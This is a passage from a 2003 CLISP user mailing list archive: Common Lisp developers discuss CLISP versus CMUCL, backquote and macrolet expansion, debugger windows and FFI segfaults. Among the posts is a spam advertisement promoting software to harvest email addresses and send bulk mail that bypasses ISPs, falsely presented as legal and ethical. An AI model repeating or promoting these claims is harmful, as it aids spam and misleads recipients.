from userid 1000) id B47DA23692; Thu, 10 Apr 2003 18:06:30 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16021.38534.639227.902567@thalassa.informatimago.com> Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] What are CLISP's "selling" points? In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 10 09:11:07 2003 X-Original-Date: Thu, 10 Apr 2003 18:06:30 +0200 Hoehle, Joerg-Cyril writes: > Hi, >=20 > I'm wondering what attracts people to CLISP. Maybe developers could > then concentrate efforts on these distinguishing areas. >=20 > My likes: > + small size (both disk & run-time) > + works on many many platforms (many unixes) > + portability stresser, e.g. any place which might cause an error > actually signals an error (except declarations :-) at run-time > + robustness -- for years, I had no single crash using Amiga-CLISP > which I could not trace down to a bug in gcc(!) or in CLISP, which > got fixed soon. Very few crashes in total. This generates warm > feelings for every Amiga user. These days however, CLISP sadly has a > few known GC-triggered bugs somewhere in its code, seemingly hard to > nail down. Yes all this. > [...] > I also received feedback by some people who considered CLISP much > easier on the beginner than e.g. CMUCL. I fail to understand this, > but maybe this is something to concentrate upon: first impressions > count a lot. Many SW-packages get tossed away within half an hour of > toying with them. Maybe CMUCL beginners get turned away by the > warnings about special declarations they dont' understand when they > use (setq x 123) at top-level, which beginners tend to do a lot? -- > but this is just a supposition of mine. CMUCL user interface is bare-bone (no readline!). CMUCL can't be compiled without CMUCL. And even with CMUCL binaries installed, I've got big difficuties to compile it. The fact that it cannot be compiled without itself poses a big security risk (it may contain a backdoor in the binaries which replicate it into the newly compiled versions). That means that once I'll have compiled it, I'll need to disassemble and analyze the binary. At least, they could have requested just ANY Common-Lisp interpreter to run the CMUCL compiler. =20 > Your suggestions/ideas are welcome, > J=F6rg H=F6hle. Well the only bad point I find in CLISP, is its .d sources. I liked Squeak (a Smalltalk implementation) which is a byte-code virtual machine like CLISP, but which is entirely written in Smalltalk. It contains a generator to C for a small core of SmallTalk which is used to compile the rest of the system. So everything can be changed from the Smalltalk image in Smalltalk, without messing with push/pop and other low-level C stuff... Note, while for my own programs CLISP and its byte-compile is perfect, I'll need a native compiler to deploy a tool for a customer. Perhaps it's one thing that could be ported to CLISP: a native compiler like the one of CMUCL. Not necessarily integrated into CLISP, personnaly, I don't mind the byte-code in CLISP (I'd rather prefer it in the interactive environment, and for it's platform independance I think), but being able to generate a binary program could be handy sometimes, either for performance or for psychological reasons. Another thing that seems inferior in CLISP with respect to CMUCL is the handling of the unix signals. =20 The FFI is important but we need a common FFI API over all the Common-Lisp implementations to be able to develop portable interface packages to external libraries. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From san113@amtartha.xftp.net Fri Apr 11 06:30:57 2003 Received: from [61.84.196.236] (helo=amtartha.xftp.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193ycE-0006yd-00 for ; Fri, 11 Apr 2003 06:30:55 -0700 From: "san" To: Mime-Version: 1.0 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] (±¤°í) ++ Bulk Email Does Work ++ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 06:31:11 2003 X-Original-Date: Fri, 11 Apr 2003 22:30:49 +0900
Dear Fellow Networker,

************************************************************************
I like you could never get enough traffic/hits to my site.
I tried everything from FFAs to search engines even Leads
which didn't work at all !

***********************************************************************

Let's get this straight, the only way you can make money on
the Web...Bulk E-mail. Legal, ethical, and responsible Bulk
E-mail (not spamming) can make you rich! It applies whether
you're an Australian, Asian, European or American.

I will show you :

* How to Send Bulk Email Safely
* Free Software to Harvest Targeted E-mails
* Free Software to Bulk Mail that will bypass your ISP

and much much more

-----------------------------------------------------------------------------------------
Know The Secrets Used By MasterCard, Polaroid, AOL,
All Of The Professional Bulk Mail Companies To Get Rich!
-----------------------------------------------------------------------------------------

That's why you need our **FREE** new booklet,
The Untold Secrets to Wealth on the Web today.

Get your message to the millions of people on the Web who
need or want your service product.

Act Now ! Get your the Secrets :

          

                        

or Just click : http://amtartha.codns.com

I am well on my way to having not only increased hits but
successful sales as well. Let 2003 be your year
of Success !

So don't miss this ! Just click : http://amtartha.codns.com   

To Your Success,
YeongSuk


    *We comply with proposed federal legislation regarding unsolicited commercial e-mail by providing you with a method for your e-mail address to be permanently removed from our database and any future mailings from our company.

*To remove your address, please send an e-mail message with the word REMOVE in the subject line to: remove-me@amtartha.xftp.net.    For easy Removal, just click below:

                                          ¼ö½Å°ÅºÎ Remove áôãáËÞÜú [Deny]     
               If you don't want to receive this mail anymore, click here [Deny]


From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 11 08:08:15 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19408S-0002ZG-00 for ; Fri, 11 Apr 2003 08:08:12 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 11 Apr 2003 13:22:43 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2VMS620Q>; Fri, 11 Apr 2003 13:22:40 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0395821B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kaz@ashi.footprints.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 08:09:05 2003 X-Original-Date: Fri, 11 Apr 2003 13:22:31 +0200 Hi, I found the following thread from 1999 quite intriguing: Christopher R. Barry in cll on: quasiquote reference implementation http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=87vh8hk0dj.fsf%402xtreme.net&rnum=8 (defmacro defclass* (name supers slots &rest options) `(macrolet ((do-it () `(defclass ,,name ,,supers ,,slots ,,@options))) (do-it))) Now you can do something like: USER(15): (loop for i from 1 to 3 collect (defclass* (intern (format nil "FOO-~D" i)) () ())) (# # #) In CLISP-2.30, this gives *** - EVAL: variable I has no value For reasons I don't yet understand (I'm not even sure one can expect the do-it trick to work in all kinds of macroexpansion). A simple case works: > (defclass* (intern "FOO-1") () ()) # BTW, the above thread is the one (from 1999) were I suggested a programmable interface to backquote: what you implemented now for CLISP! Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Fri Apr 11 08:44:52 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1940hu-0005uv-00 for ; Fri, 11 Apr 2003 08:44:50 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1940hI-0007Ca-00 for ; Fri, 11 Apr 2003 17:44:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1940hH-0007CQ-00 for ; Fri, 11 Apr 2003 17:44:11 +0200 From: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Lines: 12 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@main.gmane.org User-Agent: Gnus/5.090016 (Oort Gnus v0.16) Emacs/21.2 Cancel-Lock: sha1:+hfRH0blM+U6hIt/whn9KUpkGQM= Subject: [clisp-list] Re: What are CLISP's "selling" points? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 08:45:06 2003 X-Original-Date: Fri, 11 Apr 2003 17:44:46 +0200 * Doug Philips : >> ~ perhaps UNICODE, but Allegro seems to have the reputation of The >> Lisp with excellent unicode support > Unicode would be a big win. Its hard to imagine taking an > application international without it. AFAIK, CLISP has excellent Unicode-support. (And has had so for a while, I think.) -- Johannes Grødem From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 11 09:48:48 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1941hl-0007tB-00 for ; Fri, 11 Apr 2003 09:48:46 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 11 Apr 2003 14:02:23 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2VMS6LXC>; Fri, 11 Apr 2003 14:02:22 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] RFE: debugging in separate window Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 09:49:07 2003 X-Original-Date: Fri, 11 Apr 2003 14:02:18 +0200 Hi, please have a short look at impnotes: Extensions-2.12. Other To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console windows = (thus keeping your standard console window clean from error messages) = you can use: (SETQ *ERROR-OUTPUT* (SETQ *DEBUG-IO* (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE" :DIRECTION :IO))) I don't know if people on UNIX/PC realize the power and usefulness of = this. I wish I could use this idiom on UNIX or MS-Windows too, not just the = Amiga. On the Amiga, CON:////window-title/options provides for a full-featured = tty-window with line-editing and scrollbars etc. The above means sort = of *debug-io* goes to a separate xterm window. The given options mean = that this window only appears when needed (e.g. when an error occurs). Consider CLISP within a shell pipe # cat foo bar | clisp --with-interactive-debug -i file -x ... | = xyz-processing Using the above with a pipe means that Lisp's *standard-input* and = -output* are left completely undisturbed! All your *debug-io* interactive session happens in a different window. = There you can either abort CLISP and thus the pipe, or maybe manage to = debug online and have the pipe continue successfully. Bruno Haible once told me about a UNIX terminal/xterm hack where output = to stderr would appear in red color. I often send *trace-output* to a separate window. You get the idea. Does anybody know how to achieve something equivalent for either = MS-Windows or some flavour of UNIX? Regards, J=F6rg H=F6hle. From kraehe@copyleft.de Fri Apr 11 10:22:39 2003 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1942E7-0001hs-00 for ; Fri, 11 Apr 2003 10:22:11 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout2.freenet.de with asmtp (Exim 4.14) id 1942De-0001PW-TK; Fri, 11 Apr 2003 19:21:42 +0200 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx2.freenet.de with esmtp (Exim 4.14 #2) id 1942De-00041Y-JX; Fri, 11 Apr 2003 19:21:42 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1942H6-0007Oq-00; Fri, 11 Apr 2003 19:25:16 +0200 From: Michael Koehne To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RFE: debugging in separate window Message-ID: <20030411172516.GA28367@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 10:23:16 2003 X-Original-Date: Fri, 11 Apr 2003 19:25:16 +0200 Moin Joerg-Cyril Hoehle, > To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console windows (thus keeping your standard console window clean from error messages) you can use: > (SETQ *ERROR-OUTPUT* > (SETQ *DEBUG-IO* > (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE" > :DIRECTION :IO))) > I don't know if people on UNIX/PC realize the power and usefulness of this. > I wish I could use this idiom on UNIX or MS-Windows too, not just the Amiga. The simplest way would be to open "/dev/tty" - this pseudo device is always pointing to the controling tty of a process. Unix/Linux/BSD supports pty/ttyp pairs to implement virtual lines for xterms and other toys. The idea behind that is, that one process can read/write into one side of the pair, and the other process would have the other side. This is used for xterm, at example. So clisp would just need to open a pty, and start minicom or cu on the other end of the ttyp pair. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From a.bignoli@computer.org Fri Apr 11 11:44:14 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1943VV-0001OS-00 for ; Fri, 11 Apr 2003 11:44:13 -0700 Received: from ghimel.fauser.it (IDENT:0@pool2-ip6.fauser.it [80.20.153.101]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id UAA28993 for ; Fri, 11 Apr 2003 20:39:47 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.9/8.12.9) with ESMTP id h3BIhjL8000280 for ; Fri, 11 Apr 2003 20:43:45 +0200 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h3BIhKMB019980 for ; Fri, 11 Apr 2003 20:43:20 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h3BIIhM5019786; Fri, 11 Apr 2003 20:18:43 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16023.1795.602153.905339@dalet.fauser.it> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.14 under Emacs 21.2.2 Subject: [clisp-list] FFI:CAST segfault with gcc 3.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 11:45:06 2003 X-Original-Date: Fri, 11 Apr 2003 20:18:43 +0200 Recently I switched from gcc 2.95.3 to gcc 3.2.2. After recompiling CLISP, I discovered that, in some circumstances, FFI:CAST causes a segmentation fault. Test case: define the following foreign function: (def-call-out make-foreign-string (:name "make_foreign_string") (:arguments (s c-string :in)) (:return-type c-pointer :malloc-free)) void * make_foreign_string (const char *s) { int len = strlen(s); char *r = malloc (len); memcpy (r, s, len); return r; } try to convert its result to a '(c-ptr (c-array character ...)): [2]> (use-package :ffi) T [3]> (setf *x* (make-foreign-string "abcd")) # [4]> (with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array uint8 4)))) #(97 98 99 100) OK, with bytes it works. [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4)))) Segmentation fault Any idea? From a.bignoli@computer.org Fri Apr 11 11:44:28 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1943Vj-0001hV-00 for ; Fri, 11 Apr 2003 11:44:27 -0700 Received: from ghimel.fauser.it (IDENT:0@pool2-ip6.fauser.it [80.20.153.101]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id UAA28942; Fri, 11 Apr 2003 20:39:54 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.9/8.12.9) with ESMTP id h3BIhnL8000300; Fri, 11 Apr 2003 20:43:49 +0200 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h3BIhKMJ019980; Fri, 11 Apr 2003 20:43:27 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h3BI4umR019751; Fri, 11 Apr 2003 20:04:56 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16023.966.342480.134167@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C5919@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE036C5919@G8PQD.blf01.telekom.de> X-Mailer: VM 7.14 under Emacs 21.2.2 Subject: [clisp-list] :malloc-free allocation (was: FFI guru/wizard award to be rewarde d) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 11:45:07 2003 X-Original-Date: Fri, 11 Apr 2003 20:04:54 +0200 Hoehle, Joerg-Cyril writes: > >I also wrote a thin C wrapper around DB functions, since it is > Do you believe you would have written a CLISP module if you > had known about my article earlier? well, I have written a module! > One of my points is that writing FFI+C code is half the way of a > writing module, *and* writing modules prevents you from the > CAST/TYPECASE madness. why? OK, if it is explained in your article I'll try to find it. > OTOH, you need to be more confident with CLISP's C-level functions, > e.g. allocate_string() etc. which are not documented :( > >impossible to use DB structure and its function pointers from Lisp: > I guess one of your points is that the functions to be called are > like db->get(), i.e. there's nothing with a fixed name like > "BDB_get()". This looks like instance methods -- not impossible, > but possibly impractical. I never thought about these, but they > are conceptually close to shared-library functions: they hang of > the library, here the DB pointer. > > Is there anything else which makes you feel that it's impossible? no. Initially my idea was to define a Lis DB type using def-c-struct and faithfully translate all the C struct members into Lisp slots. A nightmare: DB has tens of members! Furthermore, it is probably better to keep DB and other BDB C structures opaque to Lisp. There is no need to make implementation details, such as structure members, available at Lisp level. > Why don't you use something along > (typecase > ((unsigned-int 32) > (values 'int/uint32 (FFI:sizeof 'int-or-uint32)) > ((signed-int 32) (values 'sint32 (sizeof 'sint32)) > ... Constant-folding by hand? > Fixnum can be pretty small (i.e. only 24 bits). yes, I know. I'm going to add more integer subtypes later. From a.bignoli@computer.org Fri Apr 11 11:44:29 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1943Vk-0001hi-00 for ; Fri, 11 Apr 2003 11:44:28 -0700 Received: from ghimel.fauser.it (IDENT:0@pool2-ip6.fauser.it [80.20.153.101]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id UAA28952; Fri, 11 Apr 2003 20:39:52 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.9/8.12.9) with ESMTP id h3BIhnL8000299; Fri, 11 Apr 2003 20:43:49 +0200 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h3BIhKMH019980; Fri, 11 Apr 2003 20:43:27 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h3BI5WW3019756; Fri, 11 Apr 2003 20:05:32 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16023.1004.875166.249564@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C591B@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE036C591B@G8PQD.blf01.telekom.de> X-Mailer: VM 7.14 under Emacs 21.2.2 Subject: [clisp-list] :malloc-free allocation -- here: instance methods Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 11:45:08 2003 X-Original-Date: Fri, 11 Apr 2003 20:05:32 +0200 Hoehle, Joerg-Cyril writes: > However, duplicating the DB structure in Lisp, if the BDB C > structure changes, Lisp doesn't know -- not nice! Unreliable :( this problem could be solved by a program that translates C declarations into FFI declarations. Such a program is available for some Common Lisp implementations, e.g LispWorks. > [memoizing-]DB-foreign-function-factory could be implemented in C, > to avoid the problem about the C DB struct being changed by the BDB > people, without Lisp noticing this change. This would prevent > getting out of sync with BDB/ db.h returned function prototype could be a problem: every DB fuction has its own parameter list. Probably the C factory function should return a c-pointer which has to be casted to the appropriate FFI:C-FUNCTION type before APPLYing it. Another solution could be a C program which, using the offsetof macro, prints the offset of the relevant DB function pointer members. Its output could be used to create defconstants in a Lisp file. At runtime, using FFI:OFFSET and the offset constants, it should be possible to extract a foreign function pointer from a DB pointer. Details are left to the reader as exercise :) From kaz@footprints.net Fri Apr 11 12:23:56 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19447S-0003C8-00 for ; Fri, 11 Apr 2003 12:23:26 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 19446u-0006FW-00; Fri, 11 Apr 2003 12:22:52 -0700 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0395821B@G8PQD.blf01.telekom.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 12:24:08 2003 X-Original-Date: Fri, 11 Apr 2003 12:22:52 -0700 (PDT) On Fri, 11 Apr 2003, Hoehle, Joerg-Cyril wrote: > Date: Fri, 11 Apr 2003 13:22:31 +0200 > From: "Hoehle, Joerg-Cyril" > To: clisp-list@lists.sourceforge.net > Cc: kaz@ashi.footprints.net > Subject: New, from-scratch implementation of backquote. > > Hi, > > I found the following thread from 1999 quite intriguing: > > Christopher R. Barry in cll on: quasiquote reference implementation > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=87vh8hk0dj.fsf%402xtreme.net&rnum=8 > (defmacro defclass* (name supers slots &rest options) > `(macrolet ((do-it () > `(defclass ,,name ,,supers ,,slots ,,@options))) > (do-it))) Interesting; basically this uses macrolet solely to obtain an extra level of macroexpansion, so that the name, supers, slots and options are all evaluated. However, because defclass is a macro, this relies on evaluating the forms at macroexpand time, so that their evaluated values can be stuck into the defclass form itself. So the expressions can only refer to functions and variables that are available at that time. > Now you can do something like: > USER(15): (loop for i from 1 to 3 > collect (defclass* (intern (format nil "FOO-~D" i)) () ())) > (# # #) > In CLISP-2.30, this gives > *** - EVAL: variable I has no value This is right because the lexcal variable i does not exist at the macrolet expansion time. You see the (defclass* ...) construct can be (and is) expanded before the (loop ...) is executed. A macrolet construct cannot give you a different macroexpansion each time you evaluate it; it's just a scoping mechanism for local macros, not a dynamic macro mechanism. Local macros give you a way to hook into the system's code walker, but that walk happens just once. > For reasons I don't yet understand (I'm not even sure one can expect the do-it trick to work in all kinds of macroexpansion). > A simple case works: > > (defclass* (intern "FOO-1") () ()) > # Yeah, but this is at the top level and as such doesn't rely on any lexical variables. > BTW, the above thread is the one (from 1999) were I suggested a programmable interface to backquote: what you implemented now for CLISP! I don't think that will help, because it's not a backquote problem. To solve this problem you need the help of EVAL. Your loop must actually construct the *source code* of a DEFCLASS construct into which it has inserted all the right pieces, and then EVAL that source code so that its effect takes place. Example: (loop for i from 1 to 3 collect `(defclass ,(intern (format nil "FOO-~D" i)) () ()) into defclasses finally (eval `(progn ,@defclasses))) We dynamically a list, a piece of data, which looks like: ((defclass FOO-1 ...) (defclass FOO-2 ...) (defclass FOO-3 ...)) Then we stick a PROGN in front and EVAL it as code, causing the classes to be defined. The loop can be written so that it generates a completely different list each time, using a different range of integers and different base name for the symbol. Each time you call it, it will generate some data and then evaluate it as code. Macros cannot do that; they are expanded at compile time to produce their substitution and then go away. I will try the original trick with the new backquote, but I'm almost certain that it won't work. I should mention that the support for ,,@ actually does work in the old backquote. The implementation notes are misleading. From tsabin@optonline.net Fri Apr 11 13:13:40 2003 Received: from ool-44c0aa61.dyn.optonline.net ([68.192.170.97] helo=jetcar.qnz.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1944u2-0000mV-00 for ; Fri, 11 Apr 2003 13:13:38 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.11.6/8.9.3) id h3BKCbC24204; Fri, 11 Apr 2003 16:12:37 -0400 To: Kaz Kylheku Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: New, from-scratch implementation of backquote. References: From: Todd Sabin In-Reply-To: (Kaz Kylheku's message of "Fri, 11 Apr 2003 12:22:52 -0700 (PDT)") Message-ID: Lines: 42 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 13:14:08 2003 X-Original-Date: 11 Apr 2003 16:12:36 -0400 Kaz Kylheku writes: > On Fri, 11 Apr 2003, Hoehle, Joerg-Cyril wrote: > > > Date: Fri, 11 Apr 2003 13:22:31 +0200 > > From: "Hoehle, Joerg-Cyril" > > To: clisp-list@lists.sourceforge.net > > Cc: kaz@ashi.footprints.net > > Subject: New, from-scratch implementation of backquote. > > > > Hi, > > > > I found the following thread from 1999 quite intriguing: > > > > Christopher R. Barry in cll on: quasiquote reference implementation > > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=87vh8hk0dj.fsf%402xtreme.net&rnum=8 > > (defmacro defclass* (name supers slots &rest options) > > `(macrolet ((do-it () > > `(defclass ,,name ,,supers ,,slots 